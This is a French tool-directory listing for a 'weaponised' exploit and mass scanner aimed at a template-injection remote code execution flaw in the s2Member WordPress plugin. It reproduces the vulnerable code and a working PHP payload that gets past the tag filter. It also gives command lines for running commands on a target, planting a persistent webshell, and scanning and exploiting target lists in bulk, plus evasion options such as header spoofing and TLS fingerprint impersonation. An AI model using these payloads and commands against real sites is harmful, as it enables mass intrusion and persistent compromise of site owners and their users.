Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-86596 — Scanner d'exploitation et de masse en un seul fichier pour CVE-2026-86596, une RCE par injection de template dans s2Member via le paramètre item_name de l'IPN PayPal, avec variantes de contournement et déploiement de webshell. | Kitploit
Outils/GitHubGitHub/aureels/cve-2026-86596
ReconnaissanceScanners de VulnérabilitésGénération de PayloadsExploitationÉvasion IDS/IPSExploitation d'Applications WebSécurité WebCommandement et ContrôleOutil d'Accès à DistanceUsurpation d'Empreinte Numérique
GitHub
511il y a 11h 27mPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
aureels/cve-2026-86596

CVE-2026-86596

Scanner d'exploitation et de masse en un seul fichier pour CVE-2026-86596, une RCE par injection de template dans s2Member via le paramètre item_name de l'IPN PayPal, avec variantes de contournement et déploiement de webshell.

Voir le dépôt
Partager

CVE-2026-86596 - s2Member <= 260927 RCE weaponisé

CVSS 9.8 | CVE-2026-86596 | Correctif : 261001+

Exploit weaponisé et scanner monofichier pour l'injection de template s2Member via le paramètre IPN item_name.

Vulnérabilité

$paypal = strip_php_tags_deep($paypal);           // Ne supprime que le littéral '<?'
$msg = preg_replace('/%%item_name%%/i', esc_refs($paypal['item_name']), $msg);
$msg = trim(preg_replace('/%%(.+?)%%/i', '', $msg));  // Supprime %%x%% -> réassemble <?php

Charge utile : <%%x%%?php system('id'); ?> → contourne strip_php_tags_deep, se réassemble en <?php valide après le nettoyage des placeholders.

Utilisation

# RCE sur une cible unique
python3 poc.py target.com --cmd "id" --authorized

# Webshell persistant (accès : /shell.php?pass=cmd)
python3 poc.py target.com --cmd "shell:mysecret" --authorized --deploy-shell

# Matrice de contournement complète (toutes les variantes)
python3 poc.py target.com --cmd "id" --authorized --full-bypass

# Scan massif avec reconnaissance
python3 poc.py targets.txt --scan --threads 30 --recon

# Scan + exploitation
python3 poc.py targets.txt --scan --exploit --cmd "id" --authorized --output results.json

Options

OptionDescription
--cmd "id"Commande à exécuter (ou shell:pass pour un webshell)
--scanMode scan massif (lecture des cibles depuis un fichier)
--exploitTenter l'exploitation pendant le scan
--authorizedREQUIS pour toute action d'exploitation
--reconReconnaissance complète avant exploitation
--item-numberitem_number spécifique (par défaut : découverte automatique)
--proxy-verificationClé s2member_paypal_proxy_verification
--write-testÉcrire un fichier de test au lieu d'exécuter une commande
--deploy-shellDéployer un webshell persistant
--shell-pathNom de fichier du webshell (par défaut : shell.php)
--full-bypassEssayer TOUTES les variantes de contournement (lent)
--no-evasionDésactiver toutes les tentatives de contournement
--threads NThreads de scan (par défaut : 15)
--output fileSortie JSON/CSV
--http-proxyProxy HTTP(S)
--impersonateEmpreinte TLS : chrome/firefox/safari/edge
--insecureDésactiver la vérification TLS
--verboseSortie détaillée

Matrice de contournement

CoucheVariantes
Charge utile10 : brute, urlenc, b64, concat, var-func, assert, preg_replace/e, create_function, shortcode, shortcode+b64
Écriture4 : file_put_contents, fopen/fwrite, shell_exec, b64_decode
Shell5 : eval, system, assert, b64_eval, shortcode
Requête5 : form, multipart, dup, multipart-dup, JSON
En-têtes7 : usurpation XFF, referer/origin PayPal, en-têtes IPN, cluster
TLS4 : chrome, firefox, safari, edge (curl_cffi)

Prérequis pour une RCE en conditions réelles

  • s2Member <= 260927
  • item_number valide (ID d'un article/page protégé)
  • Vérification PayPal IPN (sandbox ou clé de vérification proxy)
  • Sink de template : do_shortcode() / [s2If php=...]

Fichiers

/root/labv/
├── poc.py        # Exploit weaponisé unique + scanner (384 lignes)
├── README.md     # Ce fichier
└── targets.txt   # Exemple de liste de cibles

Références

  • Wordfence : https://www.wordfence.com/threat-intel/vulnerabilities/id/bbe64cd3-c5ca-4867-90de-4784510a1126
  • NVD : https://nvd.nist.gov/vuln/detail/CVE-2026-86596
  • PoC GitHub : https://github.com/thiscitze/cve-2026-86596-poc
  • Changeset : https://plugins.trac.wordpress.org/changeset/3722434/s2member

Mentions légales

UNIQUEMENT POUR DES TESTS AUTORISÉS. L'option --authorized confirme l'existence d'une autorisation écrite.

Télécharger l’outil